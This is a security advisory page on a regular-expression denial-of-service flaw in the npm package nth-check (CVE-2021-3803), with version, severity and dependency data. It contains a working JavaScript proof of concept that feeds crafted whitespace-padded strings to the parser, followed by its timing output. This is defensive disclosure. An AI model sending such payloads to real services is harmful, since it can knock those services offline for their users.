Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1ycDY1LTljZjMtY2p4cs0V5A

Inefficient Regular Expression Complexity in nth-check

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
Permalink: https://github.com/advisories/GHSA-rp65-9cf3-cjxr
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDY1LTljZjMtY2p4cs0V5A
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 2 years ago
Updated: 5 months ago


CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-rp65-9cf3-cjxr, CVE-2021-3803
References: Repository: https://github.com/fb55/nth-check
Blast Radius: 48.6

Affected Packages

npm:nth-check
Dependent packages: 502
Dependent repositories: 3,045,368
Downloads: 109,198,447 last month
Affected Version Ranges: < 2.0.1
Fixed in: 2.0.1
All affected versions: 1.0.0, 1.0.1, 1.0.2, 2.0.0
All unaffected versions: 2.0.1, 2.1.0, 2.1.1